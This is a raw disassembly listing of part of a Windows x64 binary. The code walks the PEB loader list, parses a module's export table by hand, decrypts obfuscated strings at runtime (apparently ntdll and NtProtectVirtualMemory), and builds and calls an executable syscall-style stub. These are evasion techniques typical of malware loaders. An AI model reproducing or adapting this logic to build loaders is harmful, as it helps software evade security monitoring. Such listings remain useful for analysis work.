mov r10d, r13d
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x14003c00e
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003c099
mov rax, rcx
lea r9, [rbp + 0x271]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003c092
add rax, r11
test edx, edx
jne 0x14003c07d
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14003c0c0
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003bfc4
jmp 0x14003c310
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003c310
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003c310
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003c310
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003c310
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003c310
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x639]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003c151
inc rax
test edi, edi
jne 0x14003c13c
xor r9d, r9d
test r8d, r8d
je 0x14003c167
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14003c12b
jmp 0x14003c310
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003c310
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14003c310
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.1400a18a0
or dword [rbp + 0x25ad4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x24750]
call fcn.1400437d4
lea rcx, [rbp + 0x24750]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x24750]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3e490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14003c20d
mov r15d, reloc.WS2_32.dll_socket
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x3e490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe50], eax
lea r9, [rbp + 0xe50]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp - 0x80]
call rdi
mov edi, eax
lea r9, [rbp + 0xe50]
mov r8d, dword [rbp + 0xe50]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400c97b0
lea edx, [r15 - 0xc]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x14010d364], ecx
test edi, edi
js 0x14003cb89
xor r9d, r9d
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx + 0x24]
and ecx, 0x20000000
cmp dword [rdx + 0x24], r9d
jge 0x14003c333
neg ecx
sbb edi, edi
and edi, 0x3c
add edi, 4
mov dword [rsp + 0x60], edi
jmp 0x14003c342
mov eax, 2
test ecx, ecx
cmovne eax, r12d
mov dword [rsp + 0x60], eax
mov eax, dword [rdx + 0x10]
mov qword [rbp + 0xf20], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0xe10]
mov qword [rbp + 0xd50], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov dword [rbp + 0xea8], r9d
mov byte [rbp + 0x290], 0x58
mov edi, reloc.WLDAP32.dll_Ordinal_22
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x291], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x292], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x50
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x293], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x294], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x295], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x296], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x297], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x298], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x299], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29a], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29b], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29c], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29d], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29e], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x29f], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a0], al
mov r9d, edi
mov r8, r13
mov dl, 0x4d
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a1], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a2], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a3], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a4], al
mov r9d, edi
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a5], al
mov r9d, edi
mov r8, r14
mov dl, 0x79
lea rcx, [rbp + 0x290]
call fcn.14004407c
mov byte [rbp + 0x2a6], al
xor eax, eax
mov byte [rbp + 0x2a7], al
mov r8d, eax
mov r9d, edi
lea r10d, [rdi - 0x15]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x290]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x16]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x290]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x291], dil
add r8, r10
add r9, 0x16
cmp r9, 0x1fa
jb 0x14003c5e4
xor edi, edi
mov byte [rbp + 0x2a7], dil
mov word [rbp + 0x158], 0xb5a
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15a], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15b], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15c], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15d], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15e], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x15f], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x160], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x158]
call fcn.140042908
mov byte [rbp + 0x161], al
xor eax, eax
mov byte [rbp + 0x162], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x158]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x158]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x159], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14003c764
xor r9d, r9d
mov byte [rbp + 0x162], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003cb51
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003c876
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14003c848
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003c8d2
mov rax, rcx
lea r9, [rbp + 0x159]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003c8cb
add rax, r11
test edx, edx
jne 0x14003c8b6
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14003c8f9
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003c7ff
jmp 0x14003cb51
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003cb51
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003cb51
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003cb51
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003cb51
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003cb51
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x291]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003c98a
inc rax
test edi, edi
jne 0x14003c975
xor r9d, r9d
test r8d, r8d
je 0x14003c9a0
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14003c964
jmp 0x14003cb51
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003cb51
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x14003cb51
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.1400a18a0
or dword [rbp + 0x26e64], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x25ae0]
call fcn.1400437d4
lea rcx, [rbp + 0x25ae0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x25ae0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3f490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x14003ca46
mov r13d, reloc.WS2_32.dll_recv
mov rdi, qword [rbp - 0x48]
mov r8d, 0x1000
lea rdx, [rbp + 0x3f490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe90], eax
lea r9, [rbp + 0xe90]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0xea8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
lea r8, [rbp + 0xf20]
lea rdx, [rbp + 0xd50]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe90]
mov r8d, dword [rbp + 0xe90]
mov edx, 0x1000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x48]
call fcn.1400c97b0
lea edx, [r13 - 5]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x14010d364], r9d
test edi, edi
js 0x14003d10d
mov rcx, qword [rbp - 0x20]
mov edx, dword [rbp - 0x68]
mov r10, qword [rbp - 8]
mov r11d, 1
add rcx, 0x28
mov qword [rbp - 0x20], rcx
add edx, r11d
mov dword [rbp - 0x68], edx
movzx eax, word [r10 + 6]
cmp edx, eax
jge 0x14003d64e
mov rdi, qword [rbp + 0xe10]
jmp 0x14003bb36
mov dword [rbp + 0xa18], 0x29194020
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa1c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa1d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa1e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa1f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa20], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa21], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa22], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa23], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa24], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa25], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa26], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa27], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa28], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xa18]
call fcn.1400429f8
mov byte [rbp + 0xa29], al
xor eax, eax
mov byte [rbp + 0xa2a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xa18]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xa18]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xa19], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003cd46
xor r10d, r10d
mov byte [rbp + 0xa2a], r10b
mov dword [rbp + 0xb08], 0xe0c45744
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb0c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb0d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb0e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r12b
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb0f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb10], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb11], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r12b
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb12], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb13], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb14], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb15], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb16], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb17], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb18], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb19], al
mov r9d, edi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1d], al
mov r9d, edi
mov r8, r14
mov dl, 0x67
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb1f], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb20], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb21], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb22], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_50
lea rcx, [rbp + 0xb08]
call fcn.140043e64
mov byte [rbp + 0xb23], al
xor eax, eax
mov byte [rbp + 0xb24], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb08]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb08]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb09], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003d074
mov byte [rbp + 0xb24], r10b
xor r9d, r9d
lea r8, [rbp + 0xa19]
lea rdx, [rbp + 0xb09]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov dword [rbp + 0xb30], 0x95fcdd17
mov byte [rbp + 0xb34], Ordinal_211
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb35], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb36], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb37], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb38], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb39], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb3f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb40], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb30]
call fcn.1400429f8
mov byte [rbp + 0xb41], al
xor eax, eax
mov byte [rbp + 0xb42], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb30]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb30]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb31], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003d2b4
xor r10d, r10d
mov byte [rbp + 0xb42], r10b
mov dword [rbp + 0xb48], 0x5277c149
mov word [rbp + 0xb4c], 0x1cb4
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 5]
mov dl, 0x64
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb4e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r12b
